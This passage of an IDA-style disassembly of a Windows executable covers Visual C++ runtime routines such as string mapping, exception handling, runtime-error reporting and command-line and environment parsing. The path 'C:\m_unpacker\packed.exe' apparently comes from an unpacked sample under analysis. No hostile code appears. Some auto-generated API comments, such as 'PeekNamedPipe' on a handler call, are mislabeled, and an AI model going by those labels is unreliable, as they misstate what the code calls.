[ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B170 ; LCMapStringW jmp loc_425D8A ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425B55+172j mov dword ptr [ebp-4], 2 lea eax, [edi+edi] add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov eax, esp mov [ebp-20h], eax or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_425D34 ; --------------------------------------------------------------------------- db 33h, 0C0h, 40h dd 0E8658BC3h, 0FFFD4DE8h, 89DB33FFh, 4D83E05Dh, 7D8BFFFCh dd 0D0758BD4h ; --------------------------------------------------------------------------- loc_425D34: ; CODE XREF: sub_425B55+1C2j cmp [ebp-20h], ebx jnz short loc_425D51 lea eax, [edi+edi] push eax call sub_41E5D3 pop ecx mov [ebp-20h], eax cmp eax, ebx jz short loc_425D8A mov dword ptr [ebp-34h], 1 loc_425D51: ; CODE XREF: sub_425B55+1E2j push edi push dword ptr [ebp-20h] push esi push dword ptr [ebp-1Ch] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B170 ; LCMapStringW test eax, eax jz short loc_425D8A push ebx push ebx cmp [ebp+1Ch], ebx jnz short loc_425D74 push ebx push ebx jmp short loc_425D7A ; --------------------------------------------------------------------------- loc_425D74: ; CODE XREF: sub_425B55+219j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] loc_425D7A: ; CODE XREF: sub_425B55+21Dj push edi push dword ptr [ebp-20h] push ebx push dword ptr [ebp+20h] call ds:dword_42B090 ; WideCharToMultiByte mov edi, eax loc_425D8A: ; CODE XREF: sub_425B55+149j ; sub_425B55+168j ... cmp [ebp-34h], ebx jz short loc_425D98 push dword ptr [ebp-20h] call sub_41E2A1 pop ecx loc_425D98: ; CODE XREF: sub_425B55+238j cmp [ebp-38h], ebx jz short loc_425DA6 push dword ptr [ebp-1Ch] call sub_41E2A1 pop ecx loc_425DA6: ; CODE XREF: sub_425B55+246j mov eax, edi jmp loc_425F08 ; --------------------------------------------------------------------------- loc_425DAD: ; CODE XREF: sub_425B55+76j ; sub_425B55+7Ej mov [ebp-28h], ebx xor edi, edi mov [ebp-3Ch], ebx cmp [ebp+8], ebx jnz short loc_425DC2 mov eax, ds:dword_4E29A4 mov [ebp+8], eax loc_425DC2: ; CODE XREF: sub_425B55+263j cmp [ebp+20h], ebx jnz short loc_425DCF mov eax, ds:dword_4E29B4 mov [ebp+20h], eax loc_425DCF: ; CODE XREF: sub_425B55+270j push dword ptr [ebp+8] call sub_4282DB pop ecx mov [ebp-40h], eax cmp eax, 0FFFFFFFFh jnz short loc_425DE7 loc_425DE0: ; CODE XREF: sub_425B55+87j ; sub_425B55+CDj ... xor eax, eax jmp loc_425F08 ; --------------------------------------------------------------------------- loc_425DE7: ; CODE XREF: sub_425B55+289j cmp eax, [ebp+20h] jz loc_425EDE push ebx push ebx lea ecx, [ebp+14h] push ecx push dword ptr [ebp+10h] push eax push dword ptr [ebp+20h] call sub_42831E add esp, 18h mov [ebp-28h], eax cmp eax, ebx jz short loc_425DE0 push ebx push ebx push dword ptr [ebp+14h] push eax push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B174 ; LCMapStringA mov esi, eax mov [ebp-24h], esi cmp esi, ebx jz loc_425ECD mov [ebp-4], ebx add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov edi, esp mov [ebp-44h], edi push esi push ebx push edi call sub_41E5F0 add esp, 0Ch jmp short loc_425E5E ; --------------------------------------------------------------------------- dw 0C033h dd 658BC340h, 0FC18E8E8h, 0DB33FFFFh db 33h, 0FFh ; --------------------------------------------------------------------------- loc_425E5E: ; CODE XREF: sub_425B55+2F7j or dword ptr [ebp-4], 0FFFFFFFFh cmp edi, ebx jnz short loc_425E89 push dword ptr [ebp-24h] call sub_41E5D3 pop ecx mov edi, eax cmp edi, ebx jz short loc_425EA6 push dword ptr [ebp-24h] push ebx push edi call sub_41E5F0 add esp, 0Ch mov dword ptr [ebp-3Ch], 1 loc_425E89: ; CODE XREF: sub_425B55+30Fj push dword ptr [ebp-24h] push edi push dword ptr [ebp+14h] push dword ptr [ebp-28h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B174 ; LCMapStringA mov [ebp-24h], eax cmp eax, ebx jnz short loc_425EAA loc_425EA6: ; CODE XREF: sub_425B55+31Ej xor esi, esi jmp short loc_425ED0 ; --------------------------------------------------------------------------- loc_425EAA: ; CODE XREF: sub_425B55+34Fj push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] lea eax, [ebp-24h] push eax push edi push dword ptr [ebp+20h] push dword ptr [ebp-40h] call sub_42831E add esp, 18h mov esi, eax neg esi sbb esi, esi neg esi jmp short loc_425ED0 ; --------------------------------------------------------------------------- loc_425ECD: ; CODE XREF: sub_425B55+2D0j mov esi, [ebp-48h] loc_425ED0: ; CODE XREF: sub_425B55+353j ; sub_425B55+376j cmp [ebp-3Ch], ebx jz short loc_425EF8 push edi call sub_41E2A1 pop ecx jmp short loc_425EF8 ; --------------------------------------------------------------------------- loc_425EDE: ; CODE XREF: sub_425B55+295j push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call ds:dword_42B174 ; LCMapStringA mov esi, eax loc_425EF8: ; CODE XREF: sub_425B55+37Ej ; sub_425B55+387j cmp [ebp-28h], ebx jz short loc_425F06 push dword ptr [ebp-28h] call sub_41E2A1 pop ecx loc_425F06: ; CODE XREF: sub_425B55+3A6j mov eax, esi loc_425F08: ; CODE XREF: sub_425B55+253j ; sub_425B55+28Dj lea esp, [ebp-54h] call sub_425F4F retn sub_425B55 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425F14 proc near ; CODE XREF: start-C32ECp ; sub_422B83-2Ap ... arg_4 = dword ptr 8 push offset loc_425F68 mov eax, large fs:0 push eax mov eax, [esp+8+arg_4] mov [esp+8+arg_4], ebp lea ebp, [esp+8+arg_4] sub esp, eax push ebx push esi push edi mov eax, [ebp-8] mov [ebp-18h], esp push eax mov eax, [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh mov [ebp-8], eax lea eax, [ebp-10h] mov large fs:0, eax retn sub_425F14 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425F4F proc near ; CODE XREF: start-C311Dp ; sub_423257:loc_423295p ... mov ecx, [ebp-10h] mov large fs:0, ecx pop ecx pop edi pop esi pop ebx leave push ecx retn sub_425F4F endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 30324356h, 30304358h ; --------------------------------------------------------------------------- loc_425F68: ; DATA XREF: sub_425F14o push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_426031 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] push ebx call sub_4284E7 add esp, 4 or eax, eax jz short loc_426023 loc_425FA8: ; CODE XREF: seg000:0042601Aj cmp esi, 0FFFFFFFFh jz short loc_42602A lea ecx, [esi+esi*2] mov eax, [edi+ecx*4+4] or eax, eax jz short loc_426011 push esi push ebp lea ebp, [ebx+10h] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_426011 js short loc_42601C mov edi, [ebx+8] push ebx call sub_420274 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_4202B6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_42034A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax mov eax, [edi+ecx*4+8] xor ebx, ebx xor ecx, ecx xor edx, edx xor esi, esi xor edi, edi call eax loc_426011: ; CODE XREF: seg000:00425FB6j ; seg000:00425FD0j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_425FA8 ; --------------------------------------------------------------------------- loc_42601C: ; CODE XREF: seg000:00425FD2j mov eax, 0 jmp short loc_426046 ; --------------------------------------------------------------------------- loc_426023: ; CODE XREF: seg000:00425FA6j mov eax, [ebp+8] or dword ptr [eax+4], 8 loc_42602A: ; CODE XREF: seg000:00425FABj mov eax, 1 jmp short loc_426046 ; --------------------------------------------------------------------------- loc_426031: ; CODE XREF: seg000:00425F80j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_4202B6 add esp, 8 pop ebp mov eax, 1 loc_426046: ; CODE XREF: seg000:00426021j ; seg000:0042602Fj pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- dw 8B55h dd 8B08244Ch, 1C418B29h, 18418B50h, 0A254E850h, 0C483FFFFh dd 4C25D08h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=8Ch sub_426069 proc near ; CODE XREF: sub_420CE8+12p ; start-C3211p ... var_10C = byte ptr -10Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-8Ch] sub esp, 10Ch mov eax, ds:dword_4437D4 mov ecx, [ebp+8Ch+arg_0] push ebx push esi mov [ebp+8Ch+var_4], eax xor edx, edx push edi xor eax, eax loc_42608F: ; CODE XREF: sub_426069+33j cmp ecx, ds:dword_443A88[eax*8] jz short loc_42609E inc eax cmp eax, 13h jb short loc_42608F loc_42609E: ; CODE XREF: sub_426069+2Dj mov esi, eax shl esi, 3 cmp ecx, ds:dword_443A88[esi] jnz loc_4261C4 mov eax, ds:dword_4E295C cmp eax, 1 jz loc_42619C cmp eax, edx jnz short loc_4260CE cmp ds:dword_4437C4, 1 jz loc_42619C loc_4260CE: ; CODE XREF: sub_426069+56j cmp ecx, 0FCh jz loc_4261C4 push 104h lea eax, [ebp+8Ch+var_10C] push eax push edx mov [ebp+8Ch+var_8], dl call ds:dword_42B00C ; GetModuleFileNameA test eax, eax jnz short loc_426104 lea eax, [ebp+8Ch+var_10C] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41EEC0 pop ecx pop ecx loc_426104: ; CODE XREF: sub_426069+89j lea edi, [ebp+8Ch+var_10C] mov eax, edi push eax call sub_41E1C0 inc eax cmp eax, 3Ch pop ecx jbe short loc_426138 mov eax, edi push eax call sub_41E1C0 mov edi, eax lea eax, [ebp+8Ch+var_10C] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41E860 add esp, 10h loc_426138: ; CODE XREF: sub_426069+ABj push edi call sub_41E1C0 push ds:off_443A8C[esi] mov ebx, eax call sub_41E1C0 lea eax, [ebx+eax+1Ch] pop ecx add eax, 3 pop ecx and eax, 0FFFFFFFCh call sub_41EA20 mov ebx, esp push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push ebx call sub_41EEC0 push edi push ebx call sub_41EED0 push offset asc_43A018 ; "\n\n" push ebx call sub_41EED0 push ds:off_443A8C[esi] push ebx call sub_41EED0 push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push ebx call sub_428710 add esp, 2Ch jmp short loc_4261C4 ; --------------------------------------------------------------------------- loc_42619C: ; CODE XREF: sub_426069+4Ej ; sub_426069+5Fj push edx lea eax, [ebp+8Ch+arg_0] push eax lea esi, off_443A8C[esi] push dword ptr [esi] call sub_41E1C0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call ds:dword_42B188 ; GetStdHandle push eax call ds:dword_42B084 ; WriteFile loc_4261C4: ; CODE XREF: sub_426069+40j ; sub_426069+6Bj ... lea esp, [ebp-8Ch] mov ecx, [ebp+8Ch+var_4] call sub_422B83 pop edi pop esi pop ebx add ebp, 8Ch leave retn sub_426069 endp ; =============== S U B R O U T I N E ======================================= sub_4261E0 proc near ; CODE XREF: sub_420CE8+9p ; start-C3218p mov eax, ds:dword_4E295C cmp eax, 1 jz short loc_4261F7 test eax, eax jnz short locret_426218 cmp ds:dword_4437C4, 1 jnz short locret_426218 loc_4261F7: ; CODE XREF: sub_4261E0+8j push 0FCh call sub_426069 mov eax, ds:dword_4E29C0 test eax, eax pop ecx jz short loc_42620D call eax loc_42620D: ; CODE XREF: sub_4261E0+29j push 0FFh call sub_426069 pop ecx locret_426218: ; CODE XREF: sub_4261E0+Cj ; sub_4261E0+15j retn sub_4261E0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov edx, [ebp+8] mov eax, ds:dword_443BA0 push ebx mov ecx, offset dword_443B20 push esi loc_42622B: ; CODE XREF: seg000:0042623Ej cmp [ecx], edx jz short loc_426240 lea esi, [eax+eax*2] add ecx, 0Ch lea esi, ds:443B20h[esi*4] cmp ecx, esi jb short loc_42622B loc_426240: ; CODE XREF: seg000:0042622Dj lea eax, [eax+eax*2] lea eax, ds:443B20h[eax*4] cmp ecx, eax jnb short loc_426252 cmp [ecx], edx jz short loc_426254 loc_426252: ; CODE XREF: seg000:0042624Cj xor ecx, ecx loc_426254: ; CODE XREF: seg000:00426250j test ecx, ecx jz loc_42637D mov ebx, [ecx+8] test ebx, ebx jz loc_42637D cmp ebx, 5 jnz short loc_426278 and dword ptr [ecx+8], 0 xor eax, eax inc eax jmp loc_426386 ; --------------------------------------------------------------------------- loc_426278: ; CODE XREF: seg000:0042626Aj cmp ebx, 1 jz loc_426378 mov eax, ds:dword_4E29C4 mov [ebp+8], eax mov eax, [ebp+0Ch] mov ds:dword_4E29C4, eax mov eax, [ecx+4] cmp eax, 8 jnz loc_426368 mov eax, ds:dword_443B98 mov edx, ds:dword_443B9C add edx, eax cmp eax, edx jge short loc_4262C3 lea esi, [eax+eax*2] lea esi, ds:443B28h[esi*4] sub edx, eax loc_4262BA: ; CODE XREF: seg000:004262C1j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_4262BA loc_4262C3: ; CODE XREF: seg000:004262ACj mov ecx, [ecx] cmp ecx, 0C000008Eh mov esi, ds:dword_443BA4 jnz short loc_4262DF mov ds:dword_443BA4, 83h jmp short loc_426355 ; --------------------------------------------------------------------------- loc_4262DF: ; CODE XREF: seg000:004262D1j cmp ecx, 0C0000090h jnz short loc_4262F3 mov ds:dword_443BA4, 81h jmp short loc_426355 ; --------------------------------------------------------------------------- loc_4262F3: ; CODE XREF: seg000:004262E5j cmp ecx, 0C0000091h jnz short loc_426307 mov ds:dword_443BA4, 84h jmp short loc_426355 ; --------------------------------------------------------------------------- loc_426307: ; CODE XREF: seg000:004262F9j cmp ecx, 0C0000093h jnz short loc_42631B mov ds:dword_443BA4, 85h jmp short loc_426355 ; --------------------------------------------------------------------------- loc_42631B: ; CODE XREF: seg000:0042630Dj cmp ecx, 0C000008Dh jnz short loc_42632F mov ds:dword_443BA4, 82h jmp short loc_426355 ; --------------------------------------------------------------------------- loc_42632F: ; CODE XREF: seg000:00426321j cmp ecx, 0C000008Fh jnz short loc_426343 mov ds:dword_443BA4, 86h jmp short loc_426355 ; --------------------------------------------------------------------------- loc_426343: ; CODE XREF: seg000:00426335j cmp ecx, 0C0000092h jnz short loc_426355 mov ds:dword_443BA4, 8Ah loc_426355: ; CODE XREF: seg000:004262DDj ; seg000:004262F1j ... push ds:dword_443BA4 push 8 call ebx ; PeekNamedPipe pop ecx mov ds:dword_443BA4, esi jmp short loc_42636F ; --------------------------------------------------------------------------- loc_426368: ; CODE XREF: seg000:00426297j and dword ptr [ecx+8], 0 push eax call ebx ; PeekNamedPipe loc_42636F: ; CODE XREF: seg000:00426366j mov eax, [ebp+8] pop ecx mov ds:dword_4E29C4, eax loc_426378: ; CODE XREF: seg000:0042627Bj or eax, 0FFFFFFFFh jmp short loc_426386 ; --------------------------------------------------------------------------- loc_42637D: ; CODE XREF: seg000:00426256j ; seg000:00426261j push dword ptr [ebp+0Ch] call ds:dword_42B16C ; UnhandledExceptionFilter loc_426386: ; CODE XREF: seg000:00426273j ; seg000:0042637Bj pop esi pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_42638A proc near ; CODE XREF: start-C318Dp push esi push edi xor edi, edi cmp ds:dword_4E3F30, edi jnz short loc_42639B call sub_4230FC loc_42639B: ; CODE XREF: sub_42638A+Aj mov esi, ds:dword_4E2F04 test esi, esi jnz short loc_4263AA mov esi, offset byte_42B633 loc_4263AA: ; CODE XREF: sub_42638A+19j ; sub_42638A+4Bj mov al, [esi] cmp al, 20h ja short loc_4263B8 test al, al jz short loc_4263E2 test edi, edi jz short loc_4263DC loc_4263B8: ; CODE XREF: sub_42638A+24j cmp al, 22h jnz short loc_4263C5 xor ecx, ecx test edi, edi setz cl mov edi, ecx loc_4263C5: ; CODE XREF: sub_42638A+30j movzx eax, al push eax call sub_42883C test eax, eax pop ecx jz short loc_4263D4 inc esi loc_4263D4: ; CODE XREF: sub_42638A+47j inc esi jmp short loc_4263AA ; --------------------------------------------------------------------------- loc_4263D7: ; CODE XREF: sub_42638A+56j cmp al, 20h ja short loc_4263E2 inc esi loc_4263DC: ; CODE XREF: sub_42638A+2Cj mov al, [esi] test al, al jnz short loc_4263D7 loc_4263E2: ; CODE XREF: sub_42638A+28j ; sub_42638A+4Fj pop edi mov eax, esi pop esi retn sub_42638A endp ; =============== S U B R O U T I N E ======================================= sub_4263E7 proc near ; CODE XREF: start:loc_420E3Fp push ebx xor ebx, ebx cmp ds:dword_4E3F30, ebx push esi push edi jnz short loc_4263F9 call sub_4230FC loc_4263F9: ; CODE XREF: sub_4263E7+Bj mov esi, ds:dword_4E2954 xor edi, edi cmp esi, ebx jnz short loc_426417 jmp short loc_426437 ; --------------------------------------------------------------------------- loc_426407: ; CODE XREF: sub_4263E7+34j cmp al, 3Dh jz short loc_42640C inc edi loc_42640C: ; CODE XREF: sub_4263E7+22j push esi call sub_41E1C0 pop ecx lea esi, [esi+eax+1] loc_426417: ; CODE XREF: sub_4263E7+1Cj mov al, [esi] cmp al, bl jnz short loc_426407 lea eax, ds:4[edi*4] push eax call sub_41E5D3 mov edi, eax cmp edi, ebx pop ecx mov ds:dword_4E2920, edi jnz short loc_42643C loc_426437: ; CODE XREF: sub_4263E7+1Ej or eax, 0FFFFFFFFh jmp short loc_426494 ; --------------------------------------------------------------------------- loc_42643C: ; CODE XREF: sub_4263E7+4Ej mov esi, ds:dword_4E2954 push ebp jmp short loc_42646F ; --------------------------------------------------------------------------- loc_426445: ; CODE XREF: sub_4263E7+8Aj push esi call sub_41E1C0 mov ebp, eax inc ebp cmp byte ptr [esi], 3Dh pop ecx jz short loc_42646D push ebp call sub_41E5D3 cmp eax, ebx pop ecx mov [edi], eax jz short loc_426498 push esi push eax call sub_41EEC0 pop ecx pop ecx add edi, 4 loc_42646D: ; CODE XREF: sub_4263E7+6Bj add esi, ebp loc_42646F: ; CODE XREF: sub_4263E7+5Cj cmp [esi], bl jnz short loc_426445 push ds:dword_4E2954 call sub_41E2A1 mov ds:dword_4E2954, ebx mov [edi], ebx mov ds:dword_4E3F24, 1 xor eax, eax loc_426492: ; CODE XREF: sub_4263E7+C5j pop ecx pop ebp loc_426494: ; CODE XREF: sub_4263E7+53j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_426498: ; CODE XREF: sub_4263E7+78j push ds:dword_4E2920 call sub_41E2A1 mov ds:dword_4E2920, ebx or eax, 0FFFFFFFFh jmp short loc_426492 sub_4263E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4264AE proc near ; CODE XREF: sub_42661A+54p ; sub_42661A+85p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, [ebp+arg_4] xor edx, edx cmp [ebp+arg_0], edx push edi mov [esi], edx mov edi, ecx mov dword ptr [ebx], 1 jz short loc_4264D1 mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_4264D1: ; CODE XREF: sub_4264AE+18j ; sub_4264AE+65j ... cmp byte ptr [eax], 22h jnz short loc_4264E4 xor ecx, ecx test edx, edx setz cl inc eax mov edx, ecx mov cl, 22h jmp short loc_426511 ; --------------------------------------------------------------------------- loc_4264E4: ; CODE XREF: sub_4264AE+26j inc dword ptr [esi] test edi, edi jz short loc_4264EF mov cl, [eax] mov [edi], cl inc edi loc_4264EF: ; CODE XREF: sub_4264AE+3Aj mov cl, [eax] movzx ebx, cl inc eax test ds:byte_4E2CC1[ebx], 4 jz short loc_42650A inc dword ptr [esi] test edi, edi jz short loc_426509 mov bl, [eax] mov [edi], bl inc edi loc_426509: ; CODE XREF: sub_4264AE+54j inc eax loc_42650A: ; CODE XREF: sub_4264AE+4Ej test cl, cl mov ebx, [ebp+arg_4] jz short loc_426543 loc_426511: ; CODE XREF: sub_4264AE+34j test edx, edx jnz short loc_4264D1 cmp cl, 20h jz short loc_42651F cmp cl, 9 jnz short loc_4264D1 loc_42651F: ; CODE XREF: sub_4264AE+6Aj test edi, edi jz short loc_426527 mov byte ptr [edi-1], 0 loc_426527: ; CODE XREF: sub_4264AE+73j ; sub_4264AE+96j and [ebp+var_4], 0 loc_42652B: ; CODE XREF: sub_4264AE+157j cmp byte ptr [eax], 0 jz loc_42660A loc_426534: ; CODE XREF: sub_4264AE+93j mov cl, [eax] cmp cl, 20h jz short loc_426540 cmp cl, 9 jnz short loc_426546 loc_426540: ; CODE XREF: sub_4264AE+8Bj inc eax jmp short loc_426534 ; --------------------------------------------------------------------------- loc_426543: ; CODE XREF: sub_4264AE+61j dec eax jmp short loc_426527 ; --------------------------------------------------------------------------- loc_426546: ; CODE XREF: sub_4264AE+90j cmp byte ptr [eax], 0 jz loc_42660A cmp [ebp+arg_0], 0 jz short loc_42655E mov ecx, [ebp+arg_0] add [ebp+arg_0], 4 mov [ecx], edi loc_42655E: ; CODE XREF: sub_4264AE+A5j inc dword ptr [ebx] loc_426560: ; CODE XREF: sub_4264AE+145j xor ebx, ebx inc ebx xor edx, edx jmp short loc_426569 ; --------------------------------------------------------------------------- loc_426567: ; CODE XREF: sub_4264AE+BEj inc eax inc edx loc_426569: ; CODE XREF: sub_4264AE+B7j cmp byte ptr [eax], 5Ch jz short loc_426567 cmp byte ptr [eax], 22h jnz short loc_426599 test dl, 1 jnz short loc_426597 cmp [ebp+var_4], 0 jz short loc_42658A lea ecx, [eax+1] cmp byte ptr [ecx], 22h jnz short loc_42658A mov eax, ecx jmp short loc_42658C ; --------------------------------------------------------------------------- loc_42658A: ; CODE XREF: sub_4264AE+CEj ; sub_4264AE+D6j xor ebx, ebx loc_42658C: ; CODE XREF: sub_4264AE+DAj xor ecx, ecx cmp [ebp+var_4], ecx setz cl mov [ebp+var_4], ecx loc_426597: ; CODE XREF: sub_4264AE+C8j shr edx, 1 loc_426599: ; CODE XREF: sub_4264AE+C3j test edx, edx jz short loc_4265AA loc_42659D: ; CODE XREF: sub_4264AE+FAj test edi, edi jz short loc_4265A5 mov byte ptr [edi], 5Ch inc edi loc_4265A5: ; CODE XREF: sub_4264AE+F1j inc dword ptr [esi] dec edx jnz short loc_42659D loc_4265AA: ; CODE XREF: sub_4264AE+EDj mov cl, [eax] test cl, cl jz short loc_4265F8 cmp [ebp+var_4], 0 jnz short loc_4265C0 cmp cl, 20h jz short loc_4265F8 cmp cl, 9 jz short loc_4265F8 loc_4265C0: ; CODE XREF: sub_4264AE+106j test ebx, ebx jz short loc_4265F2 test edi, edi jz short loc_4265E1 movzx edx, cl test ds:byte_4E2CC1[edx], 4 jz short loc_4265DA mov [edi], cl inc edi inc eax inc dword ptr [esi] loc_4265DA: ; CODE XREF: sub_4264AE+124j mov cl, [eax] mov [edi], cl inc edi jmp short loc_4265F0 ; --------------------------------------------------------------------------- loc_4265E1: ; CODE XREF: sub_4264AE+118j movzx ecx, cl test ds:byte_4E2CC1[ecx], 4 jz short loc_4265F0 inc eax inc dword ptr [esi] loc_4265F0: ; CODE XREF: sub_4264AE+131j ; sub_4264AE+13Dj inc dword ptr [esi] loc_4265F2: ; CODE XREF: sub_4264AE+114j inc eax jmp loc_426560 ; --------------------------------------------------------------------------- loc_4265F8: ; CODE XREF: sub_4264AE+100j ; sub_4264AE+10Bj ... test edi, edi jz short loc_426600 mov byte ptr [edi], 0 inc edi loc_426600: ; CODE XREF: sub_4264AE+14Cj inc dword ptr [esi] mov ebx, [ebp+arg_4] jmp loc_42652B ; --------------------------------------------------------------------------- loc_42660A: ; CODE XREF: sub_4264AE+80j ; sub_4264AE+9Bj mov eax, [ebp+arg_0] test eax, eax jz short loc_426614 and dword ptr [eax], 0 loc_426614: ; CODE XREF: sub_4264AE+161j inc dword ptr [ebx] pop edi pop ebx leave retn sub_4264AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42661A proc near ; CODE XREF: start-C31D2p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp ds:dword_4E3F30, edi jnz short loc_426631 call sub_4230FC loc_426631: ; CODE XREF: sub_42661A+10j push 104h mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push esi push edi mov ds:byte_4E2ACC, 0 call ds:dword_42B00C ; GetModuleFileNameA mov eax, ds:dword_4E2F04 cmp eax, edi mov ds:off_4E2930, esi jz short loc_426660 cmp byte ptr [eax], 0 mov ebx, eax jnz short loc_426662 loc_426660: ; CODE XREF: sub_42661A+3Dj mov ebx, esi loc_426662: ; CODE XREF: sub_42661A+44j lea eax, [ebp+var_4] push eax push edi lea esi, [ebp+var_8] xor ecx, ecx mov eax, ebx call sub_4264AE mov esi, [ebp+var_4] mov eax, [ebp+var_8] shl esi, 2 add eax, esi push eax call sub_41E5D3 mov edi, eax add esp, 0Ch test edi, edi jnz short loc_426692 or eax, 0FFFFFFFFh jmp short loc_4266B7 ; --------------------------------------------------------------------------- loc_426692: ; CODE XREF: sub_42661A+71j lea eax, [ebp+var_4] push eax lea ecx, [esi+edi] push edi lea esi, [ebp+var_8] mov eax, ebx call sub_4264AE mov eax, [ebp+var_4] dec eax pop ecx mov ds:dword_4E2914, eax pop ecx mov ds:dword_4E2918, edi xor eax, eax loc_4266B7: ; CODE XREF: sub_42661A+76j pop edi pop esi pop ebx leave retn sub_42661A endp ; =============== S U B R O U T I N E ======================================= sub_4266BC proc near ; CODE XREF: start-C31DCp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, ds:dword_4E2AD0 push ebx push ebp push esi push edi mov edi, ds:dword_42B15C xor ebx, ebx xor esi, esi cmp eax, ebx push 2 pop ebp jnz short loc_426705 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_4266EC mov ds:dword_4E2AD0, 1 jmp short loc_42670A ; --------------------------------------------------------------------------- loc_4266EC: ; CODE XREF: sub_4266BC+22j call ds:dword_42B01C ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_426700 mov eax, ebp mov ds:dword_4E2AD0, eax jmp short loc_426705 ; --------------------------------------------------------------------------- loc_426700: ; CODE XREF: sub_4266BC+39j mov eax, ds:dword_4E2AD0 loc_426705: ; CODE XREF: sub_4266BC+1Aj ; sub_4266BC+42j cmp eax, 1 jnz short loc_426787 loc_42670A: ; CODE XREF: sub_4266BC+2Ej cmp esi, ebx jnz short loc_426716 call edi ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_42678F loc_426716: ; CODE XREF: sub_4266BC+50j cmp [esi], bx mov eax, esi jz short loc_42672B loc_42671D: ; CODE XREF: sub_4266BC+66j ; sub_4266BC+6Dj add eax, ebp cmp [eax], bx jnz short loc_42671D add eax, ebp cmp [eax], bx jnz short loc_42671D loc_42672B: ; CODE XREF: sub_4266BC+5Fj mov edi, ds:dword_42B090 push ebx push ebx push ebx sub eax, esi push ebx sar eax, 1 inc eax push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_42677C push ebp call sub_41E5D3 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_42677C push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_426778 push [esp+18h+var_8] call sub_41E2A1 pop ecx mov [esp+18h+var_8], ebx loc_426778: ; CODE XREF: sub_4266BC+ACj mov ebx, [esp+18h+var_8] loc_42677C: ; CODE XREF: sub_4266BC+8Cj ; sub_4266BC+9Bj push esi call ds:dword_42B160 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_4267D7 ; --------------------------------------------------------------------------- loc_426787: ; CODE XREF: sub_4266BC+4Cj cmp eax, ebp jz short loc_426793 cmp eax, ebx jz short loc_426793 loc_42678F: ; CODE XREF: sub_4266BC+58j ; sub_4266BC+E1j xor eax, eax jmp short loc_4267D7 ; --------------------------------------------------------------------------- loc_426793: ; CODE XREF: sub_4266BC+CDj ; sub_4266BC+D1j call ds:dword_42B164 ; GetEnvironmentStrings mov esi, eax cmp esi, ebx jz short loc_42678F cmp [esi], bl jz short loc_4267AD loc_4267A3: ; CODE XREF: sub_4266BC+EAj ; sub_4266BC+EFj inc eax cmp [eax], bl jnz short loc_4267A3 inc eax cmp [eax], bl jnz short loc_4267A3 loc_4267AD: ; CODE XREF: sub_4266BC+E5j sub eax, esi inc eax mov ebp, eax push ebp call sub_41E5D3 mov edi, eax cmp edi, ebx pop ecx jnz short loc_4267C3 xor edi, edi jmp short loc_4267CE 